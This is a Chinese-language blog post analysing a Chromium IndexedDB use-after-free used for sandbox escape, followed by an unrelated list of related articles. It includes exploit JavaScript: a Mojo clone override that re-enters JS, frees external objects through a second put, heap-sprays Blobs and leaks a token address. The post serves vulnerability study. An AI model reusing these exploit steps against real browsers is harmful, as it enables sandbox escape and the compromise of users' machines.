深入分析沙箱逃逸漏洞 沙盒逃逸是什么
liebian365 2024-10-25 15:39 21 浏览 0 评论
Root Case
下面我们先来看一下漏洞的产生原理,从补丁开始入手,其中最主要的就是下面这个函数:
bool IsAcceptingRequests() {
return !is_commit_pending_ && state_ != COMMITTING && state_ != FINISHED;
}
补丁在每个DatabaseImpl和TransactionImpl接口中添加了该判断,使得处于COMMITTING和FINISHED状态的transaction无法执行,那么反过来思考就是说在这两个状态下继续进行新的transaction就会导致漏洞的产生。
而对于FINISHED状态,如同字面上的意思它代表结束,并没有什么好入手的点,所以我们更多的把精力放在COMMITTING状态,该状态可以通过IndexedDBTransaction::Commit()和TransactionImpl::Commit()这两个函数来进行设置,这里有一个有趣的调用链:
IndexedDBTransaction::Commit --> IndexedDBBackingStore::Transaction::CommitPhaseOne --> IndexedDBBackingStore::Transaction::WriteNewBlobs
}
其中,会调用blob_storage或file_system_access,将提交数据写入磁盘,代码如下:
case IndexedDBExternalObject::ObjectType::kFile:
case IndexedDBExternalObject::ObjectType::kBlob: {
if (entry.size() == 0)
continue;
// If this directory creation fails then the WriteBlobToFile call
// will fail. So there is no need to special-case handle it here.
base::FilePath path = GetBlobDirectoryNameForKey(
backing_store_->blob_path_, database_id_, entry.blob_number());
backing_store_->filesystem_proxy_->CreateDirectory(path);
// TODO(dmurph): Refactor IndexedDBExternalObject to not use a
// SharedRemote, so this code can just move the remote, instead of
// cloning.
mojo::PendingRemote<blink::mojom::Blob> pending_blob;
entry.remote()->Clone(pending_blob.InitWithNewPipeAndPassReceiver());
// Android doesn't seem to consistently be able to set file
// modification times. The timestamp is not checked during reading
// on Android either. https://crbug.com/1045488
absl::optional<base::Time> last_modified;
blob_storage_context->WriteBlobToFile(
std::move(pending_blob),
backing_store_->GetBlobFileName(database_id_,
entry.blob_number()),
IndexedDBBackingStore::ShouldSyncOnCommit(durability_),
last_modified, write_result_callback);
break;
}
}
case IndexedDBExternalObject::ObjectType::kFileSystemAccessHandle: {
if (!entry.file_system_access_token().empty())
continue;
// TODO(dmurph): Refactor IndexedDBExternalObject to not use a
// SharedRemote, so this code can just move the remote, instead of
// cloning.
mojo::PendingRemote<blink::mojom::FileSystemAccessTransferToken>
token_clone;
entry.file_system_access_token_remote()->Clone(
token_clone.InitWithNewPipeAndPassReceiver());
backing_store_->file_system_access_context_->SerializeHandle(
std::move(token_clone),
base::BindOnce(
[](base::WeakPtr<Transaction> transaction,
IndexedDBExternalObject* object,
base::OnceCallback<void(
storage::mojom::WriteBlobToFileResult)> callback,
const std::vector<uint8_t>& serialized_token) {
// |object| is owned by |transaction|, so make sure
// |transaction| is still valid before doing anything else.
if (!transaction)
return;
if (serialized_token.empty()) {
std::move(callback).Run(
storage::mojom::WriteBlobToFileResult::kError);
return;
}
object->set_file_system_access_token(serialized_token);
std::move(callback).Run(
storage::mojom::WriteBlobToFileResult::kSuccess);
},
weak_ptr_factory_.GetWeakPtr(), &entry,
write_result_callback));
break;
}
}
这里我们重点看一下kFileSystemAccessHandle这种情况,这里我们可以利用Clone来重入js,紧急插入一些基础知识科普,我们先从下面这个例子开始说起,这是一个常见的绑定接口的操作:
var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
Mojo.bindInterface(blink.mojom.FileSystemAccessTransferToken.name, fileAccessRequest.handle);
【一>所有资源关注我,私信回复"资料"获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
这里画了一个图帮助理解:
fileAccessPtr和fileAccessRequest分别代表interface连接的client端和service端,这里是通过mojo.makeRequest来实现的。
mojo.makeRequest创建一个message pipe,用pipe的一端填充output参数(可以是InterfacePtrInfo或interface pointer),返回包装在InterfaceRequest实例中的另一端。
// |output| could be an interface pointer, InterfacePtrInfo or
// AssociatedInterfacePtrInfo.
function makeRequest(output) {
if (output instanceof mojo.AssociatedInterfacePtrInfo) {
var {handle0, handle1} = internal.createPairPendingAssociation();
output.interfaceEndpointHandle = handle0;
output.version = 0;
return new mojo.AssociatedInterfaceRequest(handle1);
}
if (output instanceof mojo.InterfacePtrInfo) {
var pipe = Mojo.createMessagePipe();
output.handle = pipe.handle0;
output.version = 0;
return new mojo.InterfaceRequest(pipe.handle1);
}
var pipe = Mojo.createMessagePipe();
output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));
return new mojo.InterfaceRequest(pipe.handle1);
}
Mojo.bindInterface会调用bindInterface函数
//third_party/blink/renderer/core/mojo/mojo.cc
// static
void Mojo::bindInterface(ScriptState* script_state,
const String& interface_name,
MojoHandle* request_handle,
const String& scope) {
std::string name = interface_name.Utf8();
auto handle =
mojo::ScopedMessagePipeHandle::From(request_handle->TakeHandle());
if (scope == "process") {
Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(
mojo::GenericPendingReceiver(name, std::move(handle)));
return;
}
ExecutionContext::From(script_state)
->GetBrowserInterfaceBroker()
.GetInterface(name, std::move(handle));
}
通过从render和browser之间已经建立好的BrowserInterfaceBroker来通过GetInterface去调用之前通过map->Add注册好的bind函数,简单来说就是创建对应mojo接口的implement对象,然后和Receiver绑定到一起。 这样就可以通过render的remote来调用browser里的代码了。
那么如何实现重入js呢?
function FileSystemAccessTransferTokenImpl() {
this.binding = new mojo.Binding(blink.mojom.FileSystemAccessTransferToken, this);
}
FileSystemAccessTransferTokenImpl.prototype = {
clone: async (arg0) => {
// 自定义
}
};
var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessImpl = new FileSystemAccessTransferTokenImpl();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
fileAccessImpl.binding.bind(fileAccessRequest);
首先需要在render层(也就是js)实现一个fileAccessImpl,之后自定义一个想要的clone方法,再利用mojo.Binding.bind的方法将mojo.makeRequest返回的InterfaceRequest绑定到js实现的fileAccessImpl上。
// -----------------------------------
// |request| could be omitted and passed into bind() later.
//
// Example:
//
// // FooImpl implements mojom.Foo.
// function FooImpl() { ... }
// FooImpl.prototype.fooMethod1 = function() { ... }
// FooImpl.prototype.fooMethod2 = function() { ... }
//
// var fooPtr = new mojom.FooPtr();
// var request = makeRequest(fooPtr);
// var binding = new Binding(mojom.Foo, new FooImpl(), request);
// fooPtr.fooMethod1();
function Binding(interfaceType, impl, requestOrHandle) {
this.interfaceType_ = interfaceType;
this.impl_ = impl;
this.router_ = null;
this.interfaceEndpointClient_ = null;
this.stub_ = null;
if (requestOrHandle)
this.bind(requestOrHandle);
}
......
Binding.prototype.bind = function(requestOrHandle) {
this.close();
var handle = requestOrHandle instanceof mojo.InterfaceRequest ?
requestOrHandle.handle : requestOrHandle;
if (!(handle instanceof MojoHandle))
return;
this.router_ = new internal.Router(handle);
this.stub_ = new this.interfaceType_.stubClass(this.impl_);
this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(
this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),
this.stub_, this.interfaceType_.kVersion);
this.interfaceEndpointClient_ .setPayloadValidators([
this.interfaceType_.validateRequest]);
};
这样就不需要从render发送PendingReceiver给Browser,去调用browser侧的interface implemention,也就变成了从render来调用render里的代码。
之后我们将remote传入external_object
var external_object = new blink.mojom.IDBExternalObject();
external_object.fileSystemAccessToken = fileAccessPtr;
之后在IndexedDBBackingStore::Transaction::WriteNewBlobs中通过entry.file_system_access_token_remote()获取传入的remote,之后调用的clone就会是我们定义的js代码,即实现了重入js。
entry.file_system_access_token_remote()->Clone(
token_clone.InitWithNewPipeAndPassReceiver());
这里我们定义的clone如下:
FileSystemAccessTransferTokenImpl.prototype = {
clone: async (arg0) => {
// IndexedDBBackingStore::Transaction::WriteNewBlobs is waiting for writing complete, so we can hookup COMMITTING state_ of transition
// replace key/value in object store to delete the external object
print("=== clone ===");
var value = new blink.mojom.IDBValue();
value.bits = [0x41, 0x41, 0x41, 0x41];
value.externalObjects = [];
var key = new blink.mojom.IDBKey();
key.string = new mojoBase.mojom.String16();
key.string.data = "key";
var mode = blink.mojom.IDBPutMode.AddOrUpdate;
var index_keys = [];
idbTransactionPtr.put(object_store_id, value, key, mode, index_keys);
// commit force put operation
idbTransactionPtr.commit(0);
for(let i = 0; i < 0x1000; i++){
var a=new Blob([heap1]);
blob_list.push(a);
}
done = true;
// get token for file handle, control-flow comeback to callback within cached external object ==> UAF
fileAccessHandlePtr.transfer(arg0);
}
};
这里有一个需要注意的地方:
entry.file_system_access_token_remote()->Clone(
token_clone.InitWithNewPipeAndPassReceiver());
backing_store_->file_system_access_context_->SerializeHandle
clone在这里是异步调用的,我们需要根据实际情况来确定执行顺序。
下面涉及到uaf的主要成因,将分成三个部分来讲:
1、uaf的成因
external_objects的释放涉及到两次put请求,释放发生在clone重入的第二次put中。
释放external_objects的调用链如下:
TransactionImpl::Put —> IndexedDBDatabase::PutOperation —> IndexedDBBackingStore::PutRecord —> IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded
在TransactionImpl::Put需要注意一下params,他存储了我们传入的object_store_id, value, key, mode, index_keys,几个关键部分的偏移如下:
params->object_store_id 偏移:0x0
params->value 偏移:0x8~0x30
params->key 偏移:0x38
params->value的类型为IndexedDBValue
struct CONTENT_EXPORT IndexedDBValue {
......
std::string bits;
std::vector<IndexedDBExternalObject> external_objects;
};
由于我们之后要释放external_object,在这里打了一个log来输出他的地址和大小,这个184也就是之后我们要堆喷的大小。
这个图是clone中第二次调用,在第二次put时我们传入了空的external_object,bits(也就是之后要用到的key)仍与第一次相同
free发生在此处,由于我们第二次传入的externalobject为空,将会走到external_object_change_map.erase,由于两次的object_store_data_key相同,将会把第一次传入的external_object给释放掉。
Status IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded(
int64_t database_id,
const std::string& object_store_data_key,
std::vector<IndexedDBExternalObject>* external_objects) {
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
if (!external_objects || external_objects->empty()) {
external_object_change_map_.erase(object_store_data_key); //free here!!
incognito_external_object_map_.erase(object_store_data_key);
.......
}
class IndexedDBExternalObjectChangeRecord {
........
private:
std::string object_store_data_key_;
std::vector<IndexedDBExternalObject> external_objects_;
};
调试一下两次PutExternalObjectsIfNeeded,可以看到object_store_data_key是相同的。
2、clone中commit的作用
由于clone是在上次commit中被调用的,此时我们正处于上一个事务的提交过程中,此时只进行put请求的话并不会直接处理该事务,而是会优先处理完上一个操作,可以看下面的图:
而我们的free操作是发生在put中的,如果想要泄漏出token的地址,就需要put先于set_file_system_access_token执行,这里使用了commit来强制提交put,这样相当于put进行了插队,即可实现我们想要的效果。
此时又会产生一个新的问题,在这里再次调用commit不会继续调用clone重入吗?
答案是不会的,让我们来看下面这块代码:
IndexedDBTransaction::RunTasks() {
.......
// If there are no pending tasks, we haven't already committed/aborted,
// and the front-end requested a commit, it is now safe to do so.
if (!HasPendingTasks() && state_ == STARTED && is_commit_pending_) {
processing_event_queue_ = false;
// This can delete |this|.
leveldb::Status result = Commit(); //IndexedDBTransaction::Commit()
if (!result.ok())
return {RunTasksResult::kError, result};
}
.......
}
可以看到只有当state == STARTED的时候才会调用IndexedDBTransaction::Commit,进而去调用
WriteNewBlobs,我们第二次调用commit的时候此时的state已经是COMMITTING了。
第一次commit:
第二次commit:
3、transfer的作用
首先我们先来看这段调用链:
FileSystemAccessManagerImpl::SerializeHandle --> FileSystemAccessManagerImpl::ResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DidResolveForSerializeHandle
可以看到在DoResolveTransferToken调用时需要从transfertokens找到一个token才能最终走到SerializeHandle的回调中
void FileSystemAccessManagerImpl::DoResolveTransferToken(
mojo::Remote<blink::mojom::FileSystemAccessTransferToken>,
ResolvedTokenCallback callback,
const base::UnguessableToken& token) {
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
auto it = transfer_tokens_.find(token);
if (it == transfer_tokens_.end()) {
std::move(callback).Run(nullptr);
} else {
std::move(callback).Run(it->second.get());
}
}
所以我们需要在clone中调用fileAccessHandlePtr.transfer(arg0);
void FileSystemAccessManagerImpl::DidResolveForSerializeHandle(
SerializeHandleCallback callback,
FileSystemAccessTransferTokenImpl* resolved_token) {
if (!resolved_token) {
std::move(callback).Run({});
return;
}
.......
std::string value;
bool success = data.SerializeToString(&value);
DCHECK(success);
std::vector<uint8_t> result(value.begin(), value.end());
std::move(callback).Run(result);
}
之后传入DoResolveTransferToken的FileSystemAccessTransferTokenImpl经过处理变为了result,它即object->set_file_system_access_token(serialized_token)中的serialized_token。
backing_store_->file_system_access_context_->SerializeHandle(
std::move(token_clone),
base::BindOnce(
[](base::WeakPtr<Transaction> transaction,
IndexedDBExternalObject* object,
base::OnceCallback<void(
storage::mojom::WriteBlobToFileResult)> callback,
const std::vector<uint8_t>& serialized_token) {
// |object| is owned by |transaction|, so make sure
// |transaction| is still valid before doing anything else.
if (!transaction)
return;
if (serialized_token.empty()) {
std::move(callback).Run(
storage::mojom::WriteBlobToFileResult::kError);
return;
}
object->set_file_system_access_token(serialized_token);
std::move(callback).Run(
storage::mojom::WriteBlobToFileResult::kSuccess);
},
weak_ptr_factory_.GetWeakPtr(), &entry,
write_result_callback));
break;
这里需要注意一点:
在SerializeToString序列化的过程中,会计算出一个8字节的内容填充在token的最前面,后续才是我们的file_name,所以在用file_name去控制token大小时需要注意token的大小会大file_name0x8。
小结
上面分了三个部分来讲,下面我们整合一下上面的内容:
- 我们可以使用clone重入js,即可在clone中二次调用put。
- 第二次put中如果传入key相同的空external_object将会释放第一次put的external_object。
- 通过transer将token传入了set_file_system_access_token。
- 通过commit来插队使得PutExternalObjectsIfNeeded先于set_file_system_access_token执行
- 通过blob申请回free掉的external_object,之后set_file_system_access_token将会将token写入我们的blob,之后通过读取blob即可获得token(vector容器)的begin等地址。
相关推荐
- 4万多吨豪华游轮遇险 竟是因为这个原因……
-
(观察者网讯)4.7万吨豪华游轮搁浅,竟是因为油量太低?据观察者网此前报道,挪威游轮“维京天空”号上周六(23日)在挪威近海发生引擎故障搁浅。船上载有1300多人,其中28人受伤住院。经过数天的调...
- “菜鸟黑客”必用兵器之“渗透测试篇二”
-
"菜鸟黑客"必用兵器之"渗透测试篇二"上篇文章主要针对伙伴们对"渗透测试"应该如何学习?"渗透测试"的基本流程?本篇文章继续上次的分享,接着介绍一下黑客们常用的渗透测试工具有哪些?以及用实验环境让大家...
- 科幻春晚丨《震动羽翼说“Hello”》两万年星间飞行,探测器对地球的最终告白
-
作者|藤井太洋译者|祝力新【编者按】2021年科幻春晚的最后一篇小说,来自大家喜爱的日本科幻作家藤井太洋。小说将视角放在一颗太空探测器上,延续了他一贯的浪漫风格。...
- 麦子陪你做作业(二):KEGG通路数据库的正确打开姿势
-
作者:麦子KEGG是通路数据库中最庞大的,涵盖基因组网络信息,主要注释基因的功能和调控关系。当我们选到了合适的候选分子,单变量研究也已做完,接着研究机制的时便可使用到它。你需要了解你的分子目前已有哪些...
- 知存科技王绍迪:突破存储墙瓶颈,详解存算一体架构优势
-
智东西(公众号:zhidxcom)编辑|韦世玮智东西6月5日消息,近日,在落幕不久的GTIC2021嵌入式AI创新峰会上,知存科技CEO王绍迪博士以《存算一体AI芯片:AIoT设备的算力新选择》...
- 每日新闻播报(September 14)_每日新闻播报英文
-
AnOscarstatuestandscoveredwithplasticduringpreparationsleadinguptothe87thAcademyAward...
- 香港新巴城巴开放实时到站数据 供科技界研发使用
-
中新网3月22日电据香港《明报》报道,香港特区政府致力推动智慧城市,鼓励公私营机构开放数据,以便科技界研发使用。香港运输署21日与新巴及城巴(两巴)公司签署谅解备忘录,两巴将于2019年第3季度,开...
- 5款不容错过的APP: Red Bull Alert,Flipagram,WifiMapper
-
本周有不少非常出色的app推出,鸵鸟电台做了一个小合集。亮相本周榜单的有WifiMapper's安卓版的app,其中包含了RedBull的一款新型闹钟,还有一款可爱的怪物主题益智游戏。一起来看看我...
- Qt动画效果展示_qt显示图片
-
今天在这篇博文中,主要实践Qt动画,做一个实例来讲解Qt动画使用,其界面如下图所示(由于没有录制为gif动画图片,所以请各位下载查看效果):该程序使用应用程序单窗口,主窗口继承于QMainWindow...
- 如何从0到1设计实现一门自己的脚本语言
-
作者:dong...
- 三年级语文上册 仿写句子 需要的直接下载打印吧
-
描写秋天的好句好段1.秋天来了,山野变成了美丽的图画。苹果露出红红的脸庞,梨树挂起金黄的灯笼,高粱举起了燃烧的火把。大雁在天空一会儿写“人”字,一会儿写“一”字。2.花园里,菊花争奇斗艳,红的似火,粉...
- C++|那些一看就很简洁、优雅、经典的小代码段
-
目录0等概率随机洗牌:1大小写转换2字符串复制...
- 二年级上册语文必考句子仿写,家长打印,孩子照着练
-
二年级上册语文必考句子仿写,家长打印,孩子照着练。具体如下:...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- wireshark怎么抓包 (75)
- qt sleep (64)
- cs1.6指令代码大全 (55)
- factory-method (60)
- sqlite3_bind_blob (52)
- hibernate update (63)
- c++ base64 (70)
- nc 命令 (52)
- wm_close (51)
- epollin (51)
- sqlca.sqlcode (57)
- lua ipairs (60)
- tv_usec (64)
- 命令行进入文件夹 (53)
- postgresql array (57)
- statfs函数 (57)
- .project文件 (54)
- lua require (56)
- for_each (67)
- c#工厂模式 (57)
- wxsqlite3 (66)
- dmesg -c (58)
- fopen参数 (53)
- tar -zxvf -c (55)
- 速递查询 (52)